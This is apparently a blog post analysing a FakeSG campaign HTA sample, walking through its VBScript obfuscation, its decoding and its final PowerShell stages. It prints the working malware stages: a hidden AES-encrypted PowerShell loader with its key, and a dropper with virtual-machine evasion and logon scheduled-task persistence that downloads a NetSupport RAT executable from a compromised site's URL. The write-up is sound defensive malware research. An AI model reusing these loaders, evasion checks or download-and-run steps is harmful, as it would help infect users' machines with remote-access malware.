FakeSG is an ongoing malware campaign (as of 12 Sep 2023). The campaign aims to compromise websites (most commonly WordPress), which then imitate browser update pages - prompting the user to install and execute a malicious file.

1. Campaign

The FakeSG campaign is known for its heavy obfuscation and payload delivery tactics - opting to HTML Applications (.hta) files to ultimately deliver the NetSupport Manager RAT.

Sources - PCrisk, Malwarebytes.

In this blog entry, we will analyze a .hta instance from the campaign, pulled off MalwareBazaar


2. Obfuscation

Here’s a snippet of the embedded VBScript in the .hta document. The obfuscation consists of 3 main parts.

A brief explanation of VBScript syntax:

  • : separates the next command, like ; in most other languages.
  • = denotes variable assignment.
  • &H denotes a hexadecimal number. (&H10 equals decimal 16).
  • ChrW() converts decimal numbers into unicode characters.
  • & concatenates strings together.


<script language="vBsCrIPt">

a70=574 - &H1F8:a117=872 - &H2F3:a110=932 - &H336:a99=711 - &H264:a116=679 - &H233:a105=980 - &H36B:a111=255 - &H90:a110=582 - &H1D8:a32=390 - &H166:a66=684 - &H26A:a99=926 - &H33B:a100=642 - &H21E:a40=925 - &H375:a66=955 - &H379:a121=707 - &H24A:a86=809 - &H2D3:a97=1071 - &H3CE:a108=814 - &H2C2:a32=965 - &H3A5:a71=269 - &HC6:a68=183 - &H73:a66=258 - &HC0:a41=307 - &H10A:a13=994 - &H3D5:a10=241 - &HE7:a32=633 - &H259:a32=320 - &H120:a32=815 - &H30F:a32=265 - &HE9:a32=530 - &H1F2:a32=964 - &H3A4:a32=571 - &H21B:a32=932 - &H384:a32=614 - &H246:a32=320 - &H120:a32=605 - &H23D:a32=394 - &H16A:a32=334 - &H12E:a32=980 - &H3B4:a32=598 - &H236:a32=293 - &H105:a32=874 - &H34A:a32=452 - &H1A4:a32=764 - &H2DC:a68=669 - &H259:a105=755 - &H28A:a109=1095 - &H3DA:a32=840 - &H328:a120=335 - &HD7:a100=585 - &H1E5:a113=1018 - &H389:a13=492 - &H1DF:a10=683 - &H2A1:a32=758 - &H2D6:a32=619 - &H24B:a32=443 - &H19B:a32=620 - &H24C:a32=871 - &H347:a32=513 - &H1E1:a32=992 - &H3C0:a32=719 - &
...
...
res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) & ChrW ( a116 ) & ChrW ( a105 ) & ChrW ( a111 ) & ChrW ( a110 ) & ChrW ( a32 ) & ChrW ( a66 ) & ChrW ( a99 ) & ChrW ( a100 ) & ChrW ( a40 ) & ChrW ( a66 ) & ChrW ( a121 ) & ChrW ( a86 ) & ChrW ( a97 ) & ChrW ( a108 ) & ChrW ( a32 ) & ChrW ( a71 ) & ChrW ( a68 ) & ChrW ( a66 ) & ChrW ( a41 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a68 ) & ChrW ( a105 ) & ChrW ( a109 ) & ChrW ( a32 ) & ChrW ( a120 ) & ChrW ( a100 ) & ChrW ( a113 ) & ChrW ( a13 ) & ChrW ( a10 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( a32 ) & ChrW ( 
...
...
Execute Eval("Eval(""Eval(""""Eval(""""""""Eval(""""""""""""""""Eval(""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval(""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""""Eval
...
...

Close
</script>


3. Deobfuscation

Being pretty unfamiliar with the VBScript language, I sourced for some material on how to get started with this sample.

Surprisingly, I found an step-by-step analysis report for a similar malware sample - likely from the same malware family/threat actor. The author wrote a Python script, making use of regex to extract and deobfuscate the strings.

However, I was quite sure there was an easier way - and there was.


3.1. Initial Deobfuscation

We notice a string being built on the res variable.

res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) ...


To dynamically extract its contents, we add the line document.write(res) and run the malicious code. Then, we simply copy the value written into the HTA window.

res =  ChrW ( a70 ) & ChrW ( a117 ) & ChrW ( a110 ) & ChrW ( a99 ) ...
document.write(res)


Shown below is the value of res in plaintext. Long arrays and ShellExecute - pretty gnarly stuff.

Immediately, Function Bcd looks to be a decoder for the Array structures. It subtracts 608 from each element and converts it into an ASCII character.

Function Bcd(ByVal GDB) 
    Dim xdq 
    Dim nHV 
    nHV = 608 
    Dim kBR 
    kBR = wHR(GDB) 
    If kBR = 7000 + 1204 Then 
        For Each xdq In GDB 
            Dim TMN 
            TMN = TMN & Chr(xdq - nHV) 
        Next 
    End If 
    Bcd = TMN 
End Function 

Function qSN() 
    Dim GDB 
    Dim DQJ 
    GDB = Array(640,653,677,728,709,707,725,724,713,719,718,688,719,716,713,707,729,640,693,718,690,709,723,724,722,713,707,724,709,708,640,691,724,705,722,724,653,688,722,719,707,709,723,723,640,647,707,717,708,654,709,728,709,647,640,653,695,713,718,708,719,727,691,724,729,716,709,640,712,713,708,708,709,718,640,653,673,722,711,725,717,709,718,724,684,713,723,724,640,731,655,707,640,720,719,727,709,722,723,712,709,716,716,654,709,728,709,640,644,715,678,728,688,682,640,669,640,647,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,673,674,664,722,717,697,660,710,680,720,706,664,712,709,714,683,656,698,677,665,713,659,724,697,705,677,716,686,721,662,661,661,714,723,674,726,693,720,681,682,678,680,687,718,657,725,707,661,716,689,714,660,674,709,657,716,660,665,692,691,721,725,730,711,664,694,665,676,680,724,693,724,675,722,685,708,655,698,684,726,687,698,661,686,715,711,678,720,722,715,690,710,658,693,705,679,665,729,680,720,708,712,724,722,676,730,720,690,682,679,676,713,675,705,691,662,673,717,683,713,728,651,712,707,694,688,716,696,710,716,714,729,718,676,686,684,727,730,660,688,693,722,714,717,659,655,691,708,719,722,663,708,706,659,710,713,698,709,721,711,711,724,697,689,657,718,698,682,656,688,726,676,692,706,664,696,661,712,665,697,721,718,678,714,716,727,719,674,718,657,683,721,717,660,728,690,716,691,665,720,676,675,659,709,651,721,661,684,710,705,677,716,716,727,697,691,659,710,676,674,656,673,673,727,683,688,681,655,729,685,687,730,663,729,714,722,694,729,720,718,686,713,685,678,674,712,696,693,698,719,685,691,713,651,719,728,665,676,713,686,714,683,710,710,698,720,727,683,725,687,685,662,661,682,688,694,688,656,696,707,722,682,707,694,664,683,687,687,720,682,711,682,707,683,676,679,665,726,698,659,675,691,725,706,675,684,678,683,684,723,680,657,677,684,695,716,692,663,729,661,689,684,651,684,720,723,659,662,676,697,695,677,707,663,713,679,730,663,705,727,716,697,722,691,710,659,678,728,698,696,712,721,691,719,726,720,674,659,715,677,721,717,697,692,727,692,651,656,709,718,697,689,717,708,689,685,660,730,717,720,665,696,656,729,719,693,729,684,673,674,715,657,725,716,681,678,728,681,662,710,676,687,698,726,688,691,657,687,665,687,662,728,679,723,686,662,678,682,662,723,664,696,712,656,696,709,724,691,660,710,706,661,709,681,722,713,695,657,728,678,686,685,680,709,711,723,674,690,661,709,684,656,651,697,711,677,689,665,718,709,663,657,720,729,676,677,692,689,683,715,655,712,684,690,709,674,695,688,716,677,662,673,705,678,719,684,660,708,728,658,696,661,728,715,662,691,729,727,708,695,673,696,724,656,681,721,729,695,728,685,707,710,730,719,709,675,651,685,658,708,719,679,692,724,680,651,729,691,730,719,709,658,730,692,727,718,655,720,674,719,728,719,692,662,694,686,677,676,695,686,663,674,721,682,730,716,697,709,688,687,655,713,713,716,712,697,680,678,696,718,697,713,707,675,688,678,722,715,712,710,663,693,651,723,728,660,683,691,682,718,727,718,720,722,713,686,708,725,680,692,694,711,698,721,679,686,658,723,651,710,695,682,714,658,673,729,730,665,675,713,685,720,707,722,710,724,691,655,689,723,679,705,725,724,651,729,712,698,656,705,675,696,692,657,688,723,665,692,691,719,712,658,692,658,665,680,690,693,693,726,680,711,698,689,727,680,680,695,677,676,686,705,665,673,657,715,675,716,684,721,680,707,684,665,663,683,722,680,662,689,656,694,724,677,697,727,688,660,716,710,692,680,690,657,698,691,655,712,689,694,680,689,676,664,676,685,712,665,696,716,730,684,676,712,690,705,709,673,660,715,657,710,728,686,684,661,724,709,681,727,696,717,659,680,720,657,727,678,691,722,714,718,721,658,662,682,709,725,678,718,664,660,726,661,674,708,684,689,692,726,693,723,708,691,710,683,675,706,719,674,726,698,661,711,677,682,684,723,709,708,720,690,729,730,709,660,684,727,713,695,687,682,714,712,720,718,711,719,658,659,718,706,687,692,711,711,664,661,697,720,712,721,698,690,679,665,681,682,690,690,724,715,683,730,656,710,690,655,661,686,692,657,711,684,686,683,717,664,663,687,730,693,713,727,723,714,705,696,685,651,712,679,691,693,722,715,709,708,683,656,658,725,688,714,730,664,681,674,656,659,716,673,674,727,690,723,658,722,711,709,695,698,710,714,693,712,694,656,651,697,710,717,657,686,681,665,687,689,708,690,659,695,721,705,674,680,705,678,694,692,707,690,730,679,730,657,675,692,676,716,686,662,730,651,705,714,651,697,727,709,658,682,689,681,723,687,665,658,661,660,694,696,659,661,681,686,727,662,715,727,676,723,655,680,696,716,661,727,673,655,714,724,730,710,710,663,683,677,712,678,690,727,662,715,710,692,712,693,655,692,658,684,714,692,682,675,705,665,655,675,707,687,722,724,726,708,727,694,697,663,722,656,677,659,656,689,674,693,727,714,691,724,728,728,698,706,694,690,691,693,677,691,698,698,714,682,682,662,728,658,685,686,727,674,675,710,662,665,728,673,676,684,688,716,685,726,651,714,710,679,689,684,683,692,706,689,686,683,721,676,724,723,694,682,717,718,723,723,697,685,708,679,695,714,712,725,655,659,715,689,678,713,686,728,687,698,698,695,711,690,729,693,680,718,730,715,716,725,692,685,714,710,680,709,661,717,686,679,678,663,711,720,681,687,697,662,656,678,681,677,687,705,711,710,714,695,692,679,677,718,686,661,709,715,655,680,725,730,683,678,723,712,707,690,656,721,651,689,710,728,706,698,689,697,656,656,678,697,665,725,691,692,727,688,684,717,665,716,724,657,729,664,655,722,691,694,697,728,674,692,711,681,658,723,707,678,730,707,687,718,685,686,718,728,693,691,693,708,710,709,683,727,691,655,716,726,686,721,715,710,685,663,674,709,691,695,715,690,656,682,720,719,708,724,725,691,729,729,685,712,658,663,729,680,728,720,697,726,727,659,685,695,681,655,705,655,684,716,659,698,693,728,723,696,725,720,657,693,730,686,658,695,692,660,674,686,657,706,676,711,690,659,677,659,664,717,696,661,730,663,709,659,682,665,727,709,722,692,665,726,698,678,688,677,721,729,675,728,691,706,659,721,692,681,707,709,697,655,655,728,719,692,679,675,659,664,686,656,674,722,677,677,720,657,693,683,660,685,717,709,710,694,690,715,665,689,669,669,647,667,644,681,679,698,705,716,695,640,669,640,647,697,656,682,721,694,659,682,716,708,677,728,691,706,696,694,716,694,718,682,679,689,694,720,717,689,718,712,685,690,694,682,727,692,659,686,688,706,717,694,662,707,659,681,669,647,667,644,688,705,676,705,695,682,714,694,640,669,640,686,709,727,653,687,706,714,709,707,724,640,647,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,673,709,723,685,705,718,705,711,709,708,647,667,644,688,705,676,705,695,682,714,694,654,685,719,708,709,640,669,640,699,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,675,713,720,712,709,722,685,719,708,709,701,666,666,677,675,674,667,644,688,705,676,705,695,682,714,694,654,688,705,708,708,713,718,711,640,669,640,699,691,729,723,724,709,717,654,691,709,707,725,722,713,724,729,654,675,722,729,720,724,719,711,722,705,720,712,729,654,688,705,708,708,713,718,711,685,719,708,709,701,666,666,698,709,722,719,723,667,644,688,705,676,705,695,682,714,694,654,674,716,719,707,715,691,713,730,709,640,669,640,657,658,664,667,644,688,705,676,705,695,682,714,694,654,683,709,729,691,713,730,709,640,669,640,658,661,662,667,644,688,705,676,705,695,682,714,694,654,683,709,729,640,669,640,699,691,729,723,724,709,717,654,675,719,718,726,709,722,724,701,666,666,678,722,719,717,674,705,723,709,662,660,691,724,722,713,718,711,648,644,681,679,698,705,716,695,649,667,644,722,696,715,729,714,640,669,640,699,691,729,723,724,709,717,654,675,719,718,726,709,722,724,701,666,666,678,722,719,717,674,705,723,709,662,660,691,724,722,713,718,711,648,644,715,678,728,688,682,649,667,644,730,727,681,717,708,687,695,684,640,669,640,644,722,696,715,729,714,699,656,654,654,657,661,701,667,644,688,705,676,705,695,682,714,694,654,681,694,640,669,640,644,730,727,681,717,708,687,695,684,667,644,725,684,726,716,709,721,680,709,728,640,669,640,644,688,705,676,705,695,682,714,694,654,675,722,709,705,724,709,676,709,707,722,729,720,724,719,722,648,649,667,644,719,725,673,697,681,688,714,720,730,640,669,640,644,725,684,726,716,709,721,680,709,728,654,692,722,705,718,723,710,719,722,717,678,713,718,705,716,674,716,719,707,715,648,644,722,696,715,729,714,652,640,657,662,652,640,644,722,696,715,729,714,654,684,709,718,711,724,712,640,653,640,657,662,649,667,644,688,705,676,705,695,682,714,694,654,676,713,723,720,719,723,709,648,649,667,644,718,707,692,692,673,718,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,685,709,717,719,722,729,691,724,722,709,705,717,648,640,652,640,644,719,725,673,697,681,688,714,720,730,640,649,667,644,727,684,687,709,673,722,698,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,685,709,717,719,722,729,691,724,722,709,705,717,667,644,710,715,715,697,684,712,718,687,730,640,669,640,686,709,727,653,687,706,714,709,707,724,640,691,729,723,724,709,717,654,681,687,654,675,719,717,720,722,709,723,723,713,719,718,654,679,730,713,720,691,724,722,709,705,717,640,644,718,707,692,692,673,718,652,640,648,699,681,687,654,675,719,717,720,722,709,723,723,713,719,718,654,675,719,717,720,722,709,723,723,713,719,718,685,719,708,709,701,666,666,676,709,707,719,717,720,722,709,723,723,649,667,644,710,715,715,697,684,712,718,687,730,654,675,719,720,729,692,719,648,640,644,727,684,687,709,673,722,698,640,649,667,644,710,715,715,697,684,712,718,687,730,654,675,716,719,723,709,648,649,667,644,718,707,692,692,673,718,654,675,716,719,723,709,648,649,667,699,706,729,724,709,699,701,701,640,644,691,697,708,712,687,714,728,640,669,640,644,727,684,687,709,673,722,698,654,692,719,673,722,722,705,729,648,649,667,644,721,712,697,728,709,714,717,640,669,640,699,691,729,723,724,709,717,654,692,709,728,724,654,677,718,707,719,708,713,718,711,701,666,666,693,692,678,664,654,679,709,724,691,724,722,713,718,711,648,644,691,697,708,712,687,714,728,649,667,644,721,712,697,728,709,714,717,640,732,640,720,719,727,709,722,723,712,709,716,716,640,653,640,733) 
    Dim thI 
    DQJ = Array(720,719,727,709,722,723,712,709,716,716,654,709,728,709) 
    thI = Bcd(GDB) 
    Set Mdq = RSv(Bcd(Array(691,712,709,716,716,654,673,720,720,716,713,707,705,724,713,719,718))) 
    LJD = Bcd(DQJ) 
    Mdq.ShellExecute LJD, thI,"","runas",0 self.close() 
End Function 

Function wHR(ByVal kBR) 
    wHR = VarType(kBR) 
End Function 

Function RSv(ByVal objectType) 
    Set RSv = CreateObject(objectType) 
End Function 

qSN() 


3.2. String Decoding

Performing the same deobfuscation technique as above, by printing the variable value with document.write(). I decoded the 3 Arrays observed in the document. Below is the result.

Here, we note a cmd.exe process is spawned running powershell. Along with powershell code to be executed. Let’s analyze it!

LJD = "powershell.exe"

Set Mdq = RSv("Shell.Application")

thI = "-ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $kFxPJ = 'AAAAAAAAAAAAAAAAAAAAAB8rmY4fHpb8hejK0ZE9i3tYaElNq655jsBvUpIJFHOn1uc5lQj4Be1l49TSquzg8V9DHtUtCrMd/ZLvOZ5NkgFprkRf2UaG9yHpdhtrDzpRJGDiCaS6AmKix+hcVPlXfljynDNLwz4PUrjm3/Sdor7db3fiZeqggtYQ1nZJ0PvDTb8X5h9YqnFjlwoBn1Kqm4xRlS9pDC3e+q5LfaEllwYS3fDB0AAwKPI/yMOz7yjrVypnNiMFBhXUZoMSi+ox9DiNjKffZpwKuOM65JPVP0XcrJcV8KOOpJgJcKDG9vZ3CSubCLFKLsH1ELWlT7y5QL+Lps36DYWEc7iGz7awlYrSf3FxZXhqSovpB3kEqmYTwT+0enYQmdQM4zmp9X0yoUyLABk1ulIFxI6fDOZvPS1O9O6xGsN6FJ6s8Xh0XetS4fb5eIriW1xFNMHegsBR5eL0+YgEQ9ne71pyDETQKk/hLReBWPlE6AaFoL4dx2X5xk6SywdWAXt0IqyWxMcfzoeC+M2doGTtH+ySzoe2zTwn/pBoxoT6VNEDWN7BqJzlYePO/iilhYHFXnYicCPFrkhf7U+sx4KSJnwnpriNduHTVgZqGN2s+fWJj2Ayz9CiMpcrftS/QsGaut+yhZ0aCXT1Ps9TSoh2T29HRUUvHgZQwHHWEDNa9A1kClLqHcL97KrH6Q0VtEYwP4lfTHR1ZS/hQVHQD8DMh9XlzLDhRaeA4k1fxNL5teIwXm3Hp1wFSrjnq26JeuFn84v5BdLQTvUsdSfKCboBvZ5gEJLsedpRyze4LwiWOJjhpngo23nbOTgg85YphqZRG9IJRRtkKz0fR/5NT1gLNKm87OzUiwsjaXM+hGSUrkedK02uPjz8IB03lABwRs2rgeWZfjUhV0+Yfm1NI9OQdR3WqaBHaFVTcRzGz1CTDlN6z+aj+Ywe2JQIsO9254VX35INw6kwDs/HXl5wA/jtzff7KEhFRw6kfThU/T2LjTJCa9/CcOrtvdwVY7r0E30QBUwjStxxZbVRSUESZZjJJ6x2MNwBCf69xADLPlMv+jfGQLKTbQNKqDtsVJmnssYMdGWjhu/3kQFiNxOZZWgRyUHnzkluTMjfHe5mNGF7gpIOY60FIEOagfjWTGEnN5ek/HuzKFshcR0q+QfxbZQY00FY9uSTwPLm9lt1y8/rSVYxBTgI2scFzcOnMNnxUSUdfeKwS/lvNqkfM7BeSWkR0JpodtuSyyMh27yHxpYvw3MWI/a/Ll3ZUxsXup1UzN2WT4BN1bDgR3E38mX5z7e3J9werT9vZFPEqyCxSb3qTIceY//xoTGC38N0BrEEp1UK4MmefVRk9Q==';$IGZalW = 'Y0JqV3JldExSbXVlVnJGQVpmQnhMRVJwT3NPbmV6c3I=';$PaDaWJjV = New-Object 'System.Security.Cryptography.AesManaged';$PaDaWJjV.Mode = [System.Security.Cryptography.CipherMode]::ECB;$PaDaWJjV.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$PaDaWJjV.BlockSize = 128;$PaDaWJjV.KeySize = 256;$PaDaWJjV.Key = [System.Convert]::FromBase64String($IGZalW);$rXkyj = [System.Convert]::FromBase64String($kFxPJ);$zwImdOWL = $rXkyj[0..15];$PaDaWJjV.IV = $zwImdOWL;$uLvleqHex = $PaDaWJjV.CreateDecryptor();$ouAYIPjpz = $uLvleqHex.TransformFinalBlock($rXkyj, 16, $rXkyj.Length - 16);$PaDaWJjV.Dispose();$ncTTAn = New-Object System.IO.MemoryStream( , $ouAYIPjpz );$wLOeArZ = New-Object System.IO.MemoryStream;$fkkYLhnOz = New-Object System.IO.Compression.GzipStream $ncTTAn, ([IO.Compression.CompressionMode]::Decompress);$fkkYLhnOz.CopyTo( $wLOeArZ );$fkkYLhnOz.Close();$ncTTAn.Close();[byte[]] $SYdhOjx = $wLOeArZ.ToArray();$qhYxejm = [System.Text.Encoding]::UTF8.GetString($SYdhOjx);$qhYxejm | powershell - }"


3.3. Powershell Analysis

Below is the manually decoded powershell code. The malware writers seem to have made a big fuss about obfuscating the payload. The payload goes through an AES decryption and GZIP decompression.

-ExecutionPolicy UnRestricted 
Start-Process 'cmd.exe' 
-WindowStyle hidden 
-ArgumentList {
    /c powershell.exe 
    $encrypted_payload_b64 = 'AAAAAAAAAAAAAAAAAAAAAB8rmY4fHpb8hejK0ZE9i3tYaElNq655jsBvUpIJFHOn1uc5lQj4Be1l49TSquzg8V9DHtUtCrMd/ZLvOZ5NkgFprkRf2UaG9yHpdhtrDzpRJGDiCaS6AmKix+hcVPlXfljynDNLwz4PUrjm3/Sdor7db3fiZeqggtYQ1nZJ0PvDTb8X5h9YqnFjlwoBn1Kqm4xRlS9pDC3e+q5LfaEllwYS3fDB0AAwKPI/yMOz7yjrVypnNiMFBhXUZoMSi+ox9DiNjKffZpwKuOM65JPVP0XcrJcV8KOOpJgJcKDG9vZ3CSubCLFKLsH1ELWlT7y5QL+Lps36DYWEc7iGz7awlYrSf3FxZXhqSovpB3kEqmYTwT+0enYQmdQM4zmp9X0yoUyLABk1ulIFxI6fDOZvPS1O9O6xGsN6FJ6s8Xh0XetS4fb5eIriW1xFNMHegsBR5eL0+YgEQ9ne71pyDETQKk/hLReBWPlE6AaFoL4dx2X5xk6SywdWAXt0IqyWxMcfzoeC+M2doGTtH+ySzoe2zTwn/pBoxoT6VNEDWN7BqJzlYePO/iilhYHFXnYicCPFrkhf7U+sx4KSJnwnpriNduHTVgZqGN2s+fWJj2Ayz9CiMpcrftS/QsGaut+yhZ0aCXT1Ps9TSoh2T29HRUUvHgZQwHHWEDNa9A1kClLqHcL97KrH6Q0VtEYwP4lfTHR1ZS/hQVHQD8DMh9XlzLDhRaeA4k1fxNL5teIwXm3Hp1wFSrjnq26JeuFn84v5BdLQTvUsdSfKCboBvZ5gEJLsedpRyze4LwiWOJjhpngo23nbOTgg85YphqZRG9IJRRtkKz0fR/5NT1gLNKm87OzUiwsjaXM+hGSUrkedK02uPjz8IB03lABwRs2rgeWZfjUhV0+Yfm1NI9OQdR3WqaBHaFVTcRzGz1CTDlN6z+aj+Ywe2JQIsO9254VX35INw6kwDs/HXl5wA/jtzff7KEhFRw6kfThU/T2LjTJCa9/CcOrtvdwVY7r0E30QBUwjStxxZbVRSUESZZjJJ6x2MNwBCf69xADLPlMv+jfGQLKTbQNKqDtsVJmnssYMdGWjhu/3kQFiNxOZZWgRyUHnzkluTMjfHe5mNGF7gpIOY60FIEOagfjWTGEnN5ek/HuzKFshcR0q+QfxbZQY00FY9uSTwPLm9lt1y8/rSVYxBTgI2scFzcOnMNnxUSUdfeKwS/lvNqkfM7BeSWkR0JpodtuSyyMh27yHxpYvw3MWI/a/Ll3ZUxsXup1UzN2WT4BN1bDgR3E38mX5z7e3J9werT9vZFPEqyCxSb3qTIceY//xoTGC38N0BrEEp1UK4MmefVRk9Q==';
    $aes_key = 'Y0JqV3JldExSbXVlVnJGQVpmQnhMRVJwT3NPbmV6c3I=';
    $encrypted_payload = [System.Convert]::FromBase64String($encrypted_payload_b64);
    $aes_iv = $encrypted_payload[0..15];

    $AesManaged = New-Object 'System.Security.Cryptography.AesManaged';
    $AesManaged.Mode = [System.Security.Cryptography.CipherMode]::ECB;
    $AesManaged.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;
    $AesManaged.BlockSize = 128;
    $AesManaged.KeySize = 256;
    $AesManaged.Key = [System.Convert]::FromBase64String($aes_key);
    $AesManaged.IV = $aes_iv;

    $AesDecryptor = $AesManaged.CreateDecryptor();
    $gzip_payload = $AesDecryptor.TransformFinalBlock($encrypted_payload, 16, $encrypted_payload.Length - 16);
    $AesManaged.Dispose();
    
    $gzip_memory = New-Object System.IO.MemoryStream( , $gzip_payload );
    $payload_memory = New-Object System.IO.MemoryStream;
    $gzipstream_obj = New-Object System.IO.Compression.GzipStream $gzip_memory, ([IO.Compression.CompressionMode]::Decompress);
    $gzipstream_obj.CopyTo( $payload_memory );
    $gzipstream_obj.Close();
    $gzip_memory.Close();
    
    [byte[]] $barr_utf8_payload = $payload_memory.ToArray();
    $payload_str = [System.Text.Encoding]::UTF8.GetString($barr_utf8_payload);
    $payload_str | powershell - 
}


In the above code, we note that $payload_str is executed by the powershell interpreter. To extract the contents of $payload_str, simply run the code in powershell and print $payload_str. Below is the result after manual tidying and renaming.

Here, we observe the heart of this sample - a dropper, with VM detection and persistence.

function func_writeToFile($filepath, $fileBytes) {
    [IO.File]::WriteAllBytes($filepath, $fileBytes)
};

function Mne($filepath) {
    if ($filepath.EndsWith('.zip') -eq $True) {
        $basename = '\' + (Get-Item $filepath).Basename; 
        $Script:basePath = Join-Path $appdataDir $basename;
        Expand-Archive -Path $filepath -DestinationPath $basePath; 
        $Script:decompressed = 1; 
        del $filepath
    } else { 
        if ($decompressed -eq 1) { 
            mv -Path $filepath -Destination $basePath; 
            $filepath = Join-Path $basePath CareAbout.exe
        };
        $Action = (New-ScheduledTaskAction -Execute $filepath);
        $Trigger = New-ScheduledTaskTrigger -AtLogOn;
        Register-ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -RunLevel "Highest" -Force;Start $filepath
    }
};
    
function func_downloadBytes($BCl) {
    $objWebClient = New-Object ("Net.WebClient");
    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;
    $fileBytes = $objWebClient.DownloadData($BCl);
    return $fileBytes
};

function func_decode($rHG) {
    $pef=6735;
    $NMd=$Null;
    foreach($pPr in $rHG) {
        $NMd+=[char]($pPr-$pef)
    };
    return $NMd
};

function func_main(){
    $appdataDir = $env:AppData + '\';
    ;
    ;
    $vmStrings = @("VirtualBox", "VMware", "Xen", "Bochs","Qemu", "Hyper", "VRTUAL", "Virt", "A M I");
    $biosProperties = Get-WmiObject Win32_Bios | Select-Object -Property * | Out-String; 
    foreach($vmString in $vmStrings) {
        $vmStringFound = Select-String -Pattern $vmString -Input $biosProperties -AllMatches -Quiet;
        if($vmStringFound -eq $True) {
            Exit
        }
    };
    $pathDancingParty = $appdataDir + 'DancingParty.zip'; 
    if (Test-Path -Path $pathDancingParty) {
        Mne $pathDancingParty;
    } Else { 
        $bytesDancingParty = func_downloadBytes ("https://moodi-wood.com/wp-content/uploads/astra/DancingParty.zip");
        func_writeToFile $pathDancingParty $bytesDancingParty;
        Mne $pathDancingParty;
    }
    $pathCareAbout = $appdataDir + 'CareAbout.exe'; 
    if (Test-Path -Path $pathCareAbout) {
        Mne $pathCareAbout;
    } Else { 
        $bytesCareAbout = func_downloadBytes ("https://moodi-wood.com/wp-content/uploads/astra/CareAbout.exe");
        func_writeToFile $pathCareAbout $bytesCareAbout;
        Mne $pathCareAbout;
    };
;
}

func_main;


3.4. Persistence

Most notably, the malware drops 2 files - DancingParty.zip and CareAbout.exe - downloaded from the internet into the %appdata% folder.

Here’s the process in order,

  • DancingParty.zip is downloaded and decompressed.
  • CareAbout.exe is downloaded
  • Schedules CareAbout.exe to run at logon with Windows Task Scheduler.


function Mne($filepath) {
    if ($filepath.EndsWith('.zip') -eq $True) {
        $basename = '\' + (Get-Item $filepath).Basename; 
        $Script:basePath = Join-Path $appdataDir $basename;
        Expand-Archive -Path $filepath -DestinationPath $basePath; 
        $Script:decompressed = 1; 
        del $filepath
    } else { 
        if ($decompressed -eq 1) { 
            mv -Path $filepath -Destination $basePath; 
            $filepath = Join-Path $basePath CareAbout.exe
        };
        $Action = (New-ScheduledTaskAction -Execute $filepath);
        $Trigger = New-ScheduledTaskTrigger -AtLogOn;
        Register-ScheduledTask -TaskName "BackgroundCheck" -Action $Action -Trigger $Trigger -RunLevel "Highest" -Force;Start $filepath
    }
};


3.5. Anti-Analysis

The powershell process prematurely exits if detected within a virtualized environment. This check is performed by looking for the following strings in the host’s BIOS properties - VirtualBox, VMware, Xen, Bochs, Qemu, Hyper, VRTUAL, Virt, A M I.

$vmStrings = @("VirtualBox", "VMware", "Xen", "Bochs","Qemu", "Hyper", "VRTUAL", "Virt", "A M I");
$biosProperties = Get-WmiObject Win32_Bios | Select-Object -Property * | Out-String; 
foreach($vmString in $vmStrings) {
    $vmStringFound = Select-String -Pattern $vmString -Input $biosProperties -AllMatches -Quiet;
    if($vmStringFound -eq $True) {
        Exit
    }
};


4. Summary

This .hta malware sample is a highly obfuscated dropper written in VBScript. Execution of the malicious VBScript spawns a powershell process that drops 2 files - CareAbout.exe and DancingParty.zip.

Persistence is established through the Windows Task Scheduler. And basic anti-virtualization techniques are deployed.

When unzipped, DancingParty.zip contains another copy of CareAbout.exe. CareAbout.exe is a legitimate signed executable of NetSupport Manager RAT.

NetSupport Manager RAT is a remote-access tool, commonly abused for conducting malicious activity.


5. Further Analysis

Downloading the dropped files manually.

C:\Users\root\Desktop
